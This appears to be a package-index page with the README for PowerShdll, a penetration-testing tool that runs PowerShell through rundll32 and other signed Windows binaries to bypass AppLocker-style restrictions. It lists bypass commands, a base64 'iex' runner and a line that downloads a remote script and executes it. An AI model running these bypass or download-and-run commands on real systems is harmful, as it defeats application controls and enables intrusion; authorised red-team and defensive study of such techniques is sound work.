Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/p3nt4/powershdll
Run PowerShell with rundll32. Bypass software restrictions.
https://github.com/p3nt4/powershdll
applocker powershell security
Last synced: 7 days ago
JSON representation
Run PowerShell with rundll32. Bypass software restrictions.
- Host: GitHub
- URL: https://github.com/p3nt4/powershdll
- Owner: p3nt4
- License: mit
- Created: 2016-07-15T00:08:32.000Z (over 8 years ago)
- Default Branch: master
- Last Pushed: 2021-03-17T02:02:23.000Z (almost 4 years ago)
- Last Synced: 2024-12-15T03:03:07.663Z (7 days ago)
- Topics: applocker, powershell, security
- Language: C#
- Homepage:
- Size: 887 KB
- Stars: 1,778
- Watchers: 60
- Forks: 253
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Funding: .github/FUNDING.yml
- License: LICENSE.md
Awesome Lists containing this project
README
# PowerShdll
Run PowerShell with dlls only.
Does not require access to powershell.exe as it uses powershell automation dlls.
PowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable.
## dll mode:
### Rundll32:
```
Usage:
rundll32 PowerShdll,main
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
```
### Alternatives (Credit to SubTee for these techniques):
```
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
```
## exe mode
```
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
```
## Embeded payloads
Payloads can be embeded by modifying the "payload" variable in the start method of the common.cs file. If a payload is embeded, all other varguments will be ignored and the payload will be executed upon running PowerShdll.
## Examples
### Run base64 encoded script
```
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
```
Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode
### Download and run script
```
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
```
## Requirements
* .Net v3.5 for dll mode.
* .Net v2.0 for exe mode.
## Known Issues
Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure.
Make sure you have typed your commands correctly.
In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.
Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.
## Disclaimer
This project is intended for security researchers and penetration testers and should only be used with the approval of system owners.